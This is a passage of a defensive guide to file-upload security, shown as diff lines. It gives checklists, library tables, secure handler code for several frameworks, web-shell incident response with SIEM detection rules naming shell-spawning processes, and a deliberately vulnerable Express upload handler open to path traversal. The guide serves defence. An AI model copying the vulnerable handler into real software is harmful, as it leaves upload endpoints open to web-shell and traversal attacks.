+ ### Input Validation
694
+ - [ ] File type validated using magic bytes (not just extension or Content-Type header)
695
+ - [ ] Strict allowlist of permitted MIME types enforced
696
+ - [ ] File extension validated against allowlist (defense-in-depth, not sole check)
697
+ - [ ] Maximum file size enforced at web server AND application level
698
+ - [ ] Maximum upload count per request enforced
699
+ - [ ] Filename sanitized — path separators, null bytes, control characters removed
700
+ - [ ] Archive files (ZIP/TAR) checked for decompression bombs before extraction
701
+
702
+ ### Storage & Processing
703
+ - [ ] Files stored outside the webroot in a non-executable directory
704
+ - [ ] Random/UUID filenames used for storage (original name stored in database)
705
+ - [ ] Upload directory has no execute permissions
706
+ - [ ] Antivirus/malware scan performed before file is made available
707
+ - [ ] Files quarantined until scan completes (no TOCTOU window)
708
+ - [ ] Images re-encoded through a safe library (sharp, Pillow) to strip payloads
709
+ - [ ] EXIF/metadata stripped from images before storage
710
+
711
+ ### Serving & Access Control
712
+ - [ ] Files served with `Content-Disposition: attachment` (or inline only for safe types)
713
+ - [ ] `X-Content-Type-Options: nosniff` header set on all served files
714
+ - [ ] `Content-Security-Policy: default-src 'none'` set for served user content
715
+ - [ ] User content served from a separate domain (e.g., uploads.example.com)
716
+ - [ ] Authorization checked on every file access request
717
+ - [ ] Unpredictable file identifiers used (UUID, not sequential integer)
718
+
719
+ ### Infrastructure
720
+ - [ ] Rate limiting applied to upload endpoints
721
+ - [ ] Upload activity logged (user, filename, type, hash, scan result)
722
+ - [ ] Cloud storage buckets configured with encryption-at-rest
723
+ - [ ] Presigned URLs used with short expiration times (5-15 minutes)
724
+
725
+ ---
726
+
727
+ ## 6. Tools & Automation
728
+
729
+ ### 6.1 File Type Detection Libraries
730
+
731
+ | Language | Library | Notes |
732
+ |----------|---------|-------|
733
+ | Node.js | `file-type` | Detects binary formats via magic bytes; ESM-only since v17 |
734
+ | Node.js | `magic-bytes.js` | Lightweight; only needs first ~100 bytes of file |
735
+ | Node.js | `mmmagic` | Node binding to libmagic |
736
+ | Python | `python-magic` | Wrapper around libmagic; `magic.from_buffer(data, mime=True)` |
737
+ | Python | `filetype` | Pure Python, no system dependencies |
738
+ | Java | `Apache Tika` | Comprehensive content detection and extraction |
739
+ | Go | `http.DetectContentType` | Built-in, checks first 512 bytes |
740
+
741
+ ### 6.2 Malware Scanning
742
+
743
+ | Tool | Type | Integration |
744
+ |------|------|-------------|
745
+ | **ClamAV** | Open-source antivirus | clamd daemon via Unix socket or TCP; `clamscan` CLI |
746
+ | **VirusTotal API** | Cloud multi-engine | REST API; 70+ AV engines; rate limits on free tier |
747
+ | **AWS GuardDuty Malware Protection** | AWS-native | Automatic scanning for S3 and EBS |
748
+ | **Google Cloud DLP** | GCP-native | Scans for sensitive data in uploaded content |
749
+ | **OPSWAT MetaDefender** | Commercial multi-engine | 30+ AV engines, deep CDR (Content Disarm & Reconstruction) |
750
+
751
+ ### 6.3 Image Processing (Safe)
752
+
753
+ | Library | Language | Security Advantage |
754
+ |---------|----------|--------------------|
755
+ | **sharp** | Node.js (libvips) | Re-encodes images, strips metadata, fast |
756
+ | **Pillow** | Python | Re-encoding neutralizes polyglots; `Image.verify()` for validation |
757
+ | **libvips** | C (bindings for many languages) | Memory-efficient, sandboxed processing |
758
+
759
+ ### 6.4 WAF File Upload Rules
760
+
761
+ - **AWS WAF:** Use size constraint rules to limit body size; custom rules to inspect
762
+ Content-Type against allowlist
763
+ - **Cloudflare WAF:** Built-in rules for file upload attacks; custom rules for content
764
+ type enforcement
765
+ - **ModSecurity (OWASP CRS):** Rules 921xxx cover file upload protections including
766
+ content type validation and restricted extensions
767
+
768
+ ### 6.5 Cloud Storage Security Configuration
769
+
770
+ **AWS S3:**
771
+ - Enable default encryption (SSE-S3 or SSE-KMS)
772
+ - Block all public access (`BlockPublicAcls`, `BlockPublicPolicy`, `IgnorePublicAcls`,
773
+ `RestrictPublicBuckets`)
774
+ - Enable versioning for recovery from overwrites
775
+ - Enable access logging to a separate bucket
776
+ - Use VPC endpoints for internal access
777
+
778
+ **Google Cloud Storage:**
779
+ - Enable uniform bucket-level access (disable ACLs)
780
+ - Use Customer-Managed Encryption Keys (CMEK) for sensitive data
781
+ - Enable Object Versioning
782
+ - Configure retention policies where appropriate
783
+ - Use VPC Service Controls for perimeter security
784
+
785
+ ---
786
+
787
+ ## 7. Platform-Specific Guidance
788
+
789
+ ### 7.1 Express.js with Multer
790
+
791
+ ```typescript
792
+ import express from 'express';
793
+ import multer from 'multer';
794
+ import { fileTypeFromBuffer } from 'file-type';
795
+ import { randomUUID } from 'crypto';
796
+ import path from 'path';
797
+ import rateLimit from 'express-rate-limit';
798
+
799
+ // --- SECURE multer configuration ---
800
+ const UPLOAD_DIR = '/var/app/uploads'; // Outside webroot!
801
+ const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5 MB
802
+ const ALLOWED_MIMES = new Set(['image/jpeg', 'image/png', 'image/webp']);
803
+
804
+ const storage = multer.memoryStorage(); // Use memory for validation before saving
805
+
806
+ const upload = multer({
807
+ storage,
808
+ limits: {
809
+ fileSize: MAX_FILE_SIZE,
810
+ files: 1, // Max files per request
811
+ fields: 10, // Max non-file fields
812
+ fieldSize: 1024, // Max field value size
813
+ },
814
+ fileFilter: (_req, file, cb) => {
815
+ // First pass: check declared MIME (defense-in-depth, not sole check)
816
+ if (!ALLOWED_MIMES.has(file.mimetype)) {
817
+ return cb(new Error(`MIME type ${file.mimetype} not allowed`));
818
+ }
819
+ // Check extension
820
+ const ext = path.extname(file.originalname).toLowerCase();
821
+ const ALLOWED_EXTS = new Set(['.jpg', '.jpeg', '.png', '.webp']);
822
+ if (!ALLOWED_EXTS.has(ext)) {
823
+ return cb(new Error(`Extension ${ext} not allowed`));
824
+ }
825
+ cb(null, true);
826
+ },
827
+ });
828
+
829
+ // Rate limit uploads
830
+ const uploadLimiter = rateLimit({
831
+ windowMs: 15 * 60 * 1000, // 15 minutes
832
+ max: 20, // 20 uploads per window
833
+ message: 'Too many uploads, please try again later',
834
+ });
835
+
836
+ const app = express();
837
+
838
+ app.post('/api/upload',
839
+ uploadLimiter,
840
+ upload.single('file'),
841
+ async (req, res) => {
842
+ try {
843
+ if (!req.file) {
844
+ return res.status(400).json({ error: 'No file provided' });
845
+ }
846
+
847
+ // Second pass: validate magic bytes
848
+ const typeResult = await fileTypeFromBuffer(req.file.buffer);
849
+ if (!typeResult || !ALLOWED_MIMES.has(typeResult.mime)) {
850
+ return res.status(400).json({
851
+ error: 'File content does not match allowed types',
852
+ });
853
+ }
854
+
855
+ // Generate safe filename
856
+ const safeFilename = `${randomUUID()}.${typeResult.ext}`;
857
+ const storagePath = path.join(UPLOAD_DIR, safeFilename);
858
+
859
+ // Process image (re-encode to strip payloads/metadata)
860
+ const sharp = (await import('sharp')).default;
861
+ const processed = await sharp(req.file.buffer)
862
+ .resize(2048, 2048, { fit: 'inside', withoutEnlargement: true })
863
+ .toFormat(typeResult.ext as keyof sharp.FormatEnum)
864
+ .toBuffer();
865
+
866
+ // Scan for malware (if ClamAV available)
867
+ // await scanBuffer(processed);
868
+
869
+ // Save to disk
870
+ const fs = await import('fs/promises');
871
+ await fs.writeFile(storagePath, processed);
872
+
873
+ // Store metadata in database
874
+ // await db.files.create({ ... });
875
+
876
+ return res.status(201).json({
877
+ id: safeFilename.split('.')[0],
878
+ originalName: req.file.originalname,
879
+ size: processed.length,
880
+ type: typeResult.mime,
881
+ });
882
+ } catch (err) {
883
+ console.error('Upload error:', err);
884
+ return res.status(500).json({ error: 'Upload failed' });
885
+ }
886
+ },
887
+ );
888
+
889
+ // Error handler for multer errors
890
+ app.use((err: any, _req: any, res: any, _next: any) => {
891
+ if (err instanceof multer.MulterError) {
892
+ if (err.code === 'LIMIT_FILE_SIZE') {
893
+ return res.status(413).json({ error: 'File too large' });
894
+ }
895
+ return res.status(400).json({ error: err.message });
896
+ }
897
+ if (err.message?.includes('not allowed')) {
898
+ return res.status(400).json({ error: err.message });
899
+ }
900
+ return res.status(500).json({ error: 'Internal server error' });
901
+ });
902
+ ```
903
+
904
+ ### 7.2 Django File Upload Handling
905
+
906
+ ```python
907
+ # settings.py
908
+ FILE_UPLOAD_MAX_MEMORY_SIZE = 5 * 1024 * 1024 # 5 MB
909
+ DATA_UPLOAD_MAX_MEMORY_SIZE = 5 * 1024 * 1024
910
+ FILE_UPLOAD_PERMISSIONS = 0o644
911
+ FILE_UPLOAD_DIRECTORY_PERMISSIONS = 0o755
912
+ MEDIA_ROOT = '/var/app/uploads' # Outside webroot
913
+
914
+ # validators.py
915
+ import magic
916
+ import uuid
917
+ from django.core.exceptions import ValidationError
918
+ from django.core.validators import FileExtensionValidator
919
+
920
+ ALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'image/webp'}
921
+ ALLOWED_EXTENSIONS = ['jpg', 'jpeg', 'png', 'webp']
922
+
923
+ def validate_file_content_type(uploaded_file):
924
+ """Validate file type using magic bytes, not headers."""
925
+ mime = magic.from_buffer(uploaded_file.read(2048), mime=True)
926
+ uploaded_file.seek(0) # Reset file pointer
927
+
928
+ if mime not in ALLOWED_MIME_TYPES:
929
+ raise ValidationError(
930
+ f'File type {mime} is not allowed. '
931
+ f'Allowed types: {", ".join(ALLOWED_MIME_TYPES)}'
932
+ )
933
+
934
+ def validate_file_size(uploaded_file):
935
+ max_size = 5 * 1024 * 1024
936
+ if uploaded_file.size > max_size:
937
+ raise ValidationError(f'File size exceeds {max_size // (1024*1024)}MB limit.')
938
+
939
+ # models.py
940
+ from django.db import models
941
+
942
+ class SecureUpload(models.Model):
943
+ id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
944
+ file = models.FileField(
945
+ upload_to='uploads/%Y/%m/',
946
+ validators=[
947
+ FileExtensionValidator(allowed_extensions=ALLOWED_EXTENSIONS),
948
+ validate_file_content_type,
949
+ validate_file_size,
950
+ ],
951
+ )
952
+ original_filename = models.CharField(max_length=255)
953
+ detected_mime = models.CharField(max_length=100)
954
+ file_hash = models.CharField(max_length=64) # SHA-256
955
+ uploaded_by = models.ForeignKey('auth.User', on_delete=models.CASCADE)
956
+ uploaded_at = models.DateTimeField(auto_now_add=True)
957
+ scan_status = models.CharField(
958
+ max_length=20,
959
+ choices=[('pending', 'Pending'), ('clean', 'Clean'), ('infected', 'Infected')],
960
+ default='pending',
961
+ )
962
+
963
+ # views.py
964
+ from django.http import FileResponse, HttpResponseForbidden
965
+ import hashlib
966
+
967
+ def serve_file(request, file_id):
968
+ upload = SecureUpload.objects.get(id=file_id)
969
+
970
+ # Authorization check
971
+ if not request.user.has_perm('view_upload', upload):
972
+ return HttpResponseForbidden()
973
+
974
+ if upload.scan_status != 'clean':
975
+ return HttpResponseForbidden('File is not available')
976
+
977
+ response = FileResponse(upload.file, content_type=upload.detected_mime)
978
+ response['Content-Disposition'] = (
979
+ f'attachment; filename="{upload.original_filename}"'
980
+ )
981
+ response['X-Content-Type-Options'] = 'nosniff'
982
+ response['Content-Security-Policy'] = "default-src 'none'"
983
+ return response
984
+ ```
985
+
986
+ ### 7.3 Spring Boot (Java) — MultipartFile
987
+
988
+ ```java
989
+ @RestController
990
+ @RequestMapping("/api/uploads")
991
+ public class FileUploadController {
992
+
993
+ private static final Set<String> ALLOWED_TYPES =
994
+ Set.of("image/jpeg", "image/png", "image/webp");
995
+ private static final long MAX_FILE_SIZE = 5 * 1024 * 1024; // 5 MB
996
+ private static final Path UPLOAD_DIR = Paths.get("/var/app/uploads");
997
+
998
+ @PostMapping
999
+ public ResponseEntity<?> uploadFile(
1000
+ @RequestParam("file") MultipartFile file,
1001
+ Authentication auth) {
1002
+
1003
+ // Size check
1004
+ if (file.isEmpty() || file.getSize() > MAX_FILE_SIZE) {
1005
+ return ResponseEntity.badRequest()
1006
+ .body(Map.of("error", "Invalid file size"));
1007
+ }
1008
+
1009
+ try {
1010
+ // Validate content type via magic bytes using Apache Tika
1011
+ Tika tika = new Tika();
1012
+ String detectedType = tika.detect(file.getInputStream());
1013
+
1014
+ if (!ALLOWED_TYPES.contains(detectedType)) {
1015
+ return ResponseEntity.badRequest()
1016
+ .body(Map.of("error", "File type not allowed: " + detectedType));
1017
+ }
1018
+
1019
+ // Generate safe filename
1020
+ String extension = switch (detectedType) {
1021
+ case "image/jpeg" -> ".jpg";
1022
+ case "image/png" -> ".png";
1023
+ case "image/webp" -> ".webp";
1024
+ default -> ".bin";
1025
+ };
1026
+ String safeFilename = UUID.randomUUID() + extension;
1027
+ Path targetPath = UPLOAD_DIR.resolve(safeFilename);
1028
+
1029
+ // Verify path is within upload directory (prevent traversal)
1030
+ if (!targetPath.normalize().startsWith(UPLOAD_DIR)) {
1031
+ return ResponseEntity.badRequest()
1032
+ .body(Map.of("error", "Invalid file path"));
1033
+ }
1034
+
1035
+ // Save file
1036
+ Files.copy(file.getInputStream(), targetPath,
1037
+ StandardCopyOption.REPLACE_EXISTING);
1038
+
1039
+ // Set non-executable permissions
1040
+ Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-r-----");
1041
+ Files.setPosixFilePermissions(targetPath, perms);
1042
+
1043
+ return ResponseEntity.status(HttpStatus.CREATED)
1044
+ .body(Map.of(
1045
+ "id", safeFilename.replace(extension, ""),
1046
+ "type", detectedType,
1047
+ "size", file.getSize()
1048
+ ));
1049
+
1050
+ } catch (IOException e) {
1051
+ return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
1052
+ .body(Map.of("error", "Upload failed"));
1053
+ }
1054
+ }
1055
+ }
1056
+ ```
1057
+
1058
+ **Spring Boot configuration** (`application.yml`):
1059
+
1060
+ ```yaml
1061
+ spring:
1062
+ servlet:
1063
+ multipart:
1064
+ max-file-size: 5MB
1065
+ max-request-size: 10MB
1066
+ file-size-threshold: 2KB # Stream to disk above this
1067
+ location: /tmp/spring-uploads
1068
+ server:
1069
+ tomcat:
1070
+ max-swallow-size: 5MB
1071
+ ```
1072
+
1073
+ ### 7.4 Mobile — Image Picker Security
1074
+
1075
+ **iOS (Swift):**
1076
+ ```swift
1077
+ // Validate picked image before upload
1078
+ func processPickedImage(_ image: UIImage) -> Data? {
1079
+ // Re-encode to strip EXIF and potential payloads
1080
+ guard let jpegData = image.jpegData(compressionQuality: 0.85) else {
1081
+ return nil
1082
+ }
1083
+
1084
+ // Validate size
1085
+ let maxSize = 5 * 1024 * 1024 // 5 MB
1086
+ guard jpegData.count <= maxSize else {
1087
+ return nil
1088
+ }
1089
+
1090
+ // Verify magic bytes
1091
+ let header = [UInt8](jpegData.prefix(3))
1092
+ guard header == [0xFF, 0xD8, 0xFF] else {
1093
+ return nil
1094
+ }
1095
+
1096
+ return jpegData
1097
+ }
1098
+ ```
1099
+
1100
+ **Android (Kotlin):**
1101
+ ```kotlin
1102
+ // Validate file before upload
1103
+ fun validateUploadFile(context: Context, uri: Uri): Boolean {
1104
+ val contentResolver = context.contentResolver
1105
+
1106
+ // Check MIME type from content resolver (not extension)
1107
+ val mimeType = contentResolver.getType(uri)
1108
+ val allowedTypes = setOf("image/jpeg", "image/png", "image/webp")
1109
+ if (mimeType !in allowedTypes) return false
1110
+
1111
+ // Check file size
1112
+ val cursor = contentResolver.query(uri, null, null, null, null)
1113
+ val size = cursor?.use {
1114
+ it.moveToFirst()
1115
+ it.getLong(it.getColumnIndexOrThrow(OpenableColumns.SIZE))
1116
+ } ?: return false
1117
+
1118
+ if (size > 5 * 1024 * 1024) return false // 5 MB limit
1119
+
1120
+ // Validate magic bytes
1121
+ contentResolver.openInputStream(uri)?.use { stream ->
1122
+ val header = ByteArray(4)
1123
+ stream.read(header)
1124
+ val isJpeg = header[0] == 0xFF.toByte() && header[1] == 0xD8.toByte()
1125
+ val isPng = header.contentEquals(byteArrayOf(0x89.toByte(), 0x50, 0x4E, 0x47))
1126
+ if (!isJpeg && !isPng) return false
1127
+ }
1128
+
1129
+ return true
1130
+ }
1131
+ ```
1132
+
1133
+ ---
1134
+
1135
+ ## 8. Incident Patterns
1136
+
1137
+ ### 8.1 Web Shell Detection
1138
+
1139
+ **Indicators of compromise:**
1140
+ - New or modified files in web-accessible directories with script extensions
1141
+ (.php, .jsp, .aspx, .py)
1142
+ - Web server process spawning command-line interpreters (cmd.exe, /bin/bash, powershell)
1143
+ - Unusual outbound connections from web server processes
1144
+ - HTTP requests to unusual file paths with limited, geographically disparate sources
1145
+ - Unusually large responses from specific URIs (data exfiltration)
1146
+ - Recurring off-peak access times suggesting foreign operator timezone
1147
+ - Files with obfuscated content (base64-encoded eval, gzinflate, char codes)
1148
+
1149
+ **Detection rules (SIEM/IDS):**
1150
+ ```yaml
1151
+ # Elastic detection rule — web server spawning shell
1152
+ rule:
1153
+ name: "Web Shell - Command Execution"
1154
+ description: "Detects web server process spawning command interpreters"
1155
+ type: eql
1156
+ query: |
1157
+ process where event.type == "start"
1158
+ and process.parent.name in ("httpd", "nginx", "w3wp.exe", "tomcat*", "node")
1159
+ and process.name in ("cmd.exe", "powershell.exe", "bash", "sh", "python*")
1160
+
1161
+ # File integrity monitoring — new files in webroot
1162
+ rule:
1163
+ name: "New File in Web Root"
1164
+ description: "Alert on new script files created in web-accessible directories"
1165
+ type: file_integrity
1166
+ paths:
1167
+ - /var/www/html/**
1168
+ - /usr/share/nginx/html/**
1169
+ patterns:
1170
+ - "*.php"
1171
+ - "*.jsp"
1172
+ - "*.aspx"
1173
+ - "*.py"
1174
+ - "*.cgi"
1175
+ ```
1176
+
1177
+ **Response steps:**
1178
+ 1. Isolate the affected server — do not shut down (preserve forensic evidence)
1179
+ 2. Capture disk image and memory dump
1180
+ 3. Identify the web shell(s) — check for unusual files, compare against known-good baseline
1181
+ 4. Determine entry vector — review upload logs, access logs, and vulnerability scans
1182
+ 5. Search for lateral movement — check for credentials accessed, other systems contacted
1183
+ 6. Remove web shells and patch the entry vulnerability
1184
+ 7. Reset all credentials that may have been exposed
1185
+ 8. Implement file integrity monitoring to detect future web shells
1186
+
1187
+ ### 8.2 Malware Upload Detection
1188
+
1189
+ **Indicators:**
1190
+ - ClamAV or other scanner producing positive detections
1191
+ - Files with executable headers in non-executable upload areas
1192
+ - Files with mismatched extension and magic bytes (e.g., `.jpg` with `MZ` header)
1193
+ - Spike in upload activity from a single IP or account
1194
+ - Upload of known-bad file hashes (compare against threat intel feeds)
1195
+
1196
+ **Response:**
1197
+ 1. Quarantine the file immediately
1198
+ 2. Record the full upload chain: IP address, user account, timestamp, original filename
1199
+ 3. Hash the file (SHA-256) and check against VirusTotal and threat intelligence feeds
1200
+ 4. Determine if the file was served to any other users
1201
+ 5. If served, notify affected users and assess downstream impact
1202
+ 6. Block the source IP/account pending investigation
1203
+ 7. Review upload validation controls for bypass opportunities
1204
+
1205
+ ### 8.3 Log Template for Upload Events
1206
+
1207
+ ```json
1208
+ {
1209
+ "event_type": "file_upload",
1210
+ "timestamp": "2026-03-08T12:00:00Z",
1211
+ "user_id": "usr_abc123",
1212
+ "ip_address": "203.0.113.42",
1213
+ "original_filename": "photo.jpg",
1214
+ "storage_filename": "a1b2c3d4-e5f6-7890-abcd-ef1234567890.jpg",
1215
+ "declared_content_type": "image/jpeg",
1216
+ "detected_content_type": "image/jpeg",
1217
+ "file_size_bytes": 2048576,
1218
+ "file_hash_sha256": "e3b0c44298fc1c149afbf4c8996fb924...",
1219
+ "scan_result": "clean",
1220
+ "scan_engine": "ClamAV 1.4.1",
1221
+ "validation_passed": true,
1222
+ "storage_location": "s3://uploads-clean/2026/03/08/"
1223
+ }
1224
+ ```
1225
+
1226
+ ---
1227
+
1228
+ ## 9. Compliance & Standards
1229
+
1230
+ ### 9.1 OWASP References
1231
+
1232
+ | Reference | Relevance |
1233
+ |-----------|-----------|
1234
+ | **A01:2021 Broken Access Control** | Missing authorization checks on file download endpoints |
1235
+ | **A03:2021 Injection** | Web shell execution, command injection via filenames |
1236
+ | **A04:2021 Insecure Design** | Missing file upload validation architecture |
1237
+ | **A05:2021 Security Misconfiguration** | Executable upload directories, missing headers |
1238
+ | **A06:2021 Vulnerable Components** | Unpatched ImageMagick, outdated parsing libraries |
1239
+ | **A08:2021 Software and Data Integrity** | Unverified file contents, missing malware scanning |
1240
+
1241
+ Source: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
1242
+
1243
+ ### 9.2 CWE References
1244
+
1245
+ | CWE ID | Name | File Upload Context |
1246
+ |--------|------|---------------------|
1247
+ | **CWE-434** | Unrestricted Upload of File with Dangerous Type | Core file upload vulnerability |
1248
+ | **CWE-22** | Path Traversal | Malicious filenames writing outside upload dir |
1249
+ | **CWE-79** | Cross-site Scripting | SVG/HTML uploads with embedded scripts |
1250
+ | **CWE-918** | Server-Side Request Forgery | "Upload from URL" fetching internal resources |
1251
+ | **CWE-409** | Improper Handling of Highly Compressed Data | ZIP/decompression bombs |
1252
+ | **CWE-611** | XXE | Malicious XML in DOCX/XLSX/SVG |
1253
+ | **CWE-345** | Insufficient Data Authenticity Verification | Trusting Content-Type header |
1254
+ | **CWE-770** | Allocation Without Limits | No file size limits |
1255
+ | **CWE-367** | TOCTOU Race Condition | File accessible before scan completes |
1256
+ | **CWE-639** | Authorization Bypass via User Key | Predictable file download URLs |
1257
+
1258
+ ### 9.3 Regulatory Considerations
1259
+
1260
+ - **PCI DSS:** Requirement 6.5.8 — Improper access control, including insecure
1261
+ direct object references and unrestricted file upload
1262
+ - **HIPAA:** File uploads containing PHI must be encrypted at rest and in transit;
1263
+ access must be logged and audited
1264
+ - **GDPR:** Uploaded files containing personal data subject to data protection
1265
+ requirements; metadata (EXIF GPS) may constitute personal data
1266
+ - **SOC 2:** File upload controls fall under CC6.1 (Logical and Physical Access Controls)
1267
+ and CC7.2 (System Monitoring)
1268
+
1269
+ ---
1270
+
1271
+ ## 10. Code Examples — Vulnerable vs. Secure
1272
+
1273
+ ### 10.1 Vulnerable Upload Handler
1274
+
1275
+ ```typescript
1276
+ // VULNERABLE — DO NOT USE
1277
+ import express from 'express';
1278
+ import multer from 'multer';
1279
+ import path from 'path';
1280
+
1281
+ const app = express();
1282
+
1283
+ // Problem 1: Stores in webroot with original filename
1284
+ const storage = multer.diskStorage({
1285
+ destination: path.join(__dirname, 'public/uploads'),
1286
+ filename: (_req, file, cb) => cb(null, file.originalname), // Path traversal risk!
1287
+ });
1288
+
1289
+ // Problem 2: No file type or size restrictions
1290
+ const upload = multer({ storage });
1291
+
1292
+ app.post('/upload', upload.single('file'), (req, res) => {
1293
+ // Problem 3: No content validation
1294
+ // Problem 4: No malware scanning
1295
+ // Problem 5: No authorization check
1296
+ // Problem 6: File immediately accessible at /uploads/<original-name>
1297
+ res.json({ url: `/uploads/${req.file!.originalname}` });
1298
+ });
1299
+ ```
1300
+
1301
+ ### 10.2 Secure Upload Handler (Complete)
1302
+
1303
+ ```typescript
1304
+ // SECURE — Production-ready upload handler
1305
+ import express, { Request, Response, NextFunction } from 'express';
1306
+ import multer from 'multer';
1307
+ import { fileTypeFromBuffer } from 'file-type';
1308
+ import sharp from 'sharp';
1309
+ import { randomUUID, createHash } from 'crypto';
1310
+ import { writeFile, mkdir } from 'fs/promises';
1311
+ import path from 'path';
1312
+ import rateLimit from 'express-rate-limit';
1313
+
1314
+ // --- Configuration ---
1315
+ const UPLOAD_DIR = '/var/app/uploads'; // Outside webroot
1316
+ const MAX_SIZE = 5 * 1024 * 1024; // 5 MB
1317
+ const ALLOWED_TYPES: Record<string, string> = {
1318
+ 'image/jpeg': '.jpg',
1319
+ 'image/png': '.png',
1320
+ 'image/webp': '.webp',
1321
+ };
1322
+
1323
+ // --- Middleware ---
1324
+ const uploadMiddleware = multer({
1325
+ storage: multer.memoryStorage(),
1326
+ limits: { fileSize: MAX_SIZE, files: 1, fields: 5 },
1327
+ });
1328
+
1329
+ const rateLimiter = rateLimit({
1330
+ windowMs: 15 * 60 * 1000,
1331
+ max: 20,
1332
+ standardHeaders: true,
1333
+ });
1334
+
1335
+ // --- Handler ---
1336
+ async function handleSecureUpload(req: Request, res: Response): Promise<void> {
1337
+ if (!req.file) {
1338
+ res.status(400).json({ error: 'No file provided' });
1339
+ return;
1340
+ }
1341
+
1342
+ // Step 1: Validate magic bytes
1343
+ const detected = await fileTypeFromBuffer(req.file.buffer);
1344
+ if (!detected || !(detected.mime in ALLOWED_TYPES)) {
1345
+ res.status(400).json({ error: 'File type not allowed' });
1346
+ return;
1347
+ }
1348
+
1349
+ // Step 2: Re-encode image (strips metadata + neutralizes payloads)
1350
+ const processed = await sharp(req.file.buffer)
1351
+ .resize(2048, 2048, { fit: 'inside', withoutEnlargement: true })
1352
+ .toFormat(detected.ext as keyof sharp.FormatEnum)
1353
+ .toBuffer();
1354
+
1355
+ // Step 3: Compute hash for deduplication and audit
1356
+ const hash = createHash('sha256').update(processed).digest('hex');
1357
+
1358
+ // Step 4: Generate safe filename and path
1359
+ const fileId = randomUUID();
1360
+ const ext = ALLOWED_TYPES[detected.mime];
1361
+ const storagePath = path.join(UPLOAD_DIR, `${fileId}${ext}`);
1362
+
1363
+ // Step 5: Save (after malware scan in production)
1364
+ await mkdir(UPLOAD_DIR, { recursive: true });
1365
+ await writeFile(storagePath, processed, { mode: 0o644 });
1366
+
1367
+ // Step 6: Store metadata in database (pseudo-code)
1368
+ // await db.insert('uploads', {
1369
+ // id: fileId,
1370
+ // original_name: sanitizeFilename(req.file.originalname),
1371
+ // mime_type: detected.mime,
1372
+ // size: processed.length,
1373
+ // hash,
1374
+ // uploaded_by: req.user.id,
1375
+ // scan_status: 'pending',
1376
+ // });
1377
+
1378
+ // Step 7: Respond with file ID (not path)
1379
+ res.status(201).json({
1380
+ id: fileId,
1381
+ type: detected.mime,
1382
+ size: processed.length,
1383
+ });
1384
+ }
1385
+
1386
+ // --- Routes ---
1387
+ const app = express();
1388
+ app.post('/api/upload', rateLimiter, uploadMiddleware.single('file'), handleSecureUpload);
1389
+ ```
1390
+
1391
+ ### 10.3 Cloud Upload with Presigned URL (Full Flow)
1392
+
1393
+ ```typescript
1394
+ // Server: Generate presigned URL
1395
+ import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';
1396
+ import { getSignedUrl } from '@aws-sdk/s3-request-presigner';
1397
+ import { randomUUID } from 'crypto';
1398
+
1399
+ const s3 = new S3Client({ region: process.env.AWS_REGION });
1400
+ const BUCKET = process.env.UPLOAD_BUCKET!;
1401
+
1402
+ app.post('/api/upload/request-url', rateLimiter, async (req, res) => {
1403
+ const { contentType, fileSize } = req.body;
1404
+
1405
+ // Validate request
1406
+ if (!ALLOWED_TYPES[contentType]) {
1407
+ return res.status(400).json({ error: 'Content type not allowed' });
1408
+ }
1409
+ if (fileSize > MAX_SIZE) {
1410
+ return res.status(400).json({ error: 'File too large' });
1411
+ }
1412
+
1413
+ const fileId = randomUUID();
1414
+ const key = `pending/${fileId}`;
1415
+
1416
+ const command = new PutObjectCommand({
1417
+ Bucket: BUCKET,
1418
+ Key: key,
1419
+ ContentType: contentType,
1420
+ ServerSideEncryption: 'AES256',
1421
+ Metadata: {
1422
+ 'uploaded-by': req.user.id,
1423
+ 'original-type': contentType,
1424
+ },
1425
+ });
1426
+
1427
+ const uploadUrl = await getSignedUrl(s3, command, { expiresIn: 300 });
1428
+
1429
+ return res.json({ uploadUrl, fileId });
1430
+ });
1431
+
1432
+ // After upload: Lambda trigger validates + moves to clean bucket
1433
+ // S3 Event → Lambda → ClamAV scan → Move to 'clean/' prefix or 'quarantine/'
1434
+ ```
1435
+
1436
+ ```typescript
1437
+ // Client: Upload directly to S3
1438
+ async function uploadFile(file: File): Promise<string> {
1439
+ // Step 1: Request presigned URL from our server
1440
+ const { uploadUrl, fileId } = await fetch('/api/upload/request-url', {
1441
+ method: 'POST',
1442
+ headers: { 'Content-Type': 'application/json' },
1443
+ body: JSON.stringify({
1444
+ contentType: file.type,
1445
+ fileSize: file.size,
1446
+ }),
1447
+ }).then(r => r.json());
1448
+
1449
+ // Step 2: Upload directly to S3
1450
+ const uploadResponse = await fetch(uploadUrl, {
1451
+ method: 'PUT',
1452
+ headers: { 'Content-Type': file.type },
1453
+ body: file,
1454
+ });
1455
+
1456
+ if (!uploadResponse.ok) {
1457
+ throw new Error('Upload failed');
1458
+ }
1459
+
1460
+ return fileId;
1461
+ }
1462
+ ```
1463
+
1464
+ ---
1465
+
1466
+ ## References
1467
+
1468
+ - OWASP File Upload Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
1469
+ - OWASP Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
1470
+ - CWE-434: https://cwe.mitre.org/data/definitions/434.html
1471
+ - ImageTragick: https://imagetragick.com/
1472
+ - PortSwigger File Upload Vulnerabilities: https://portswigger.net/web-security/file-upload
1473
+ - NSA/CISA Web Shell Detection Guide: https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
1474
+ - ClamAV Documentation: https://docs.clamav.net/
1475
+ - AWS S3 Presigned URLs: https://docs.aws.amazon.com/AmazonS3/latest/userguide/using-presigned-url.html
1476
+ - GCS Malware Scanning Architecture: https://docs.google.com/architecture/automate-malware-scanning-for-documents-uploaded-to-cloud-storage
1477
+ - Equifax Breach Analysis: https://www.blackduck.com/blog/equifax-apache-struts-vulnerability-cve-2017-5638.html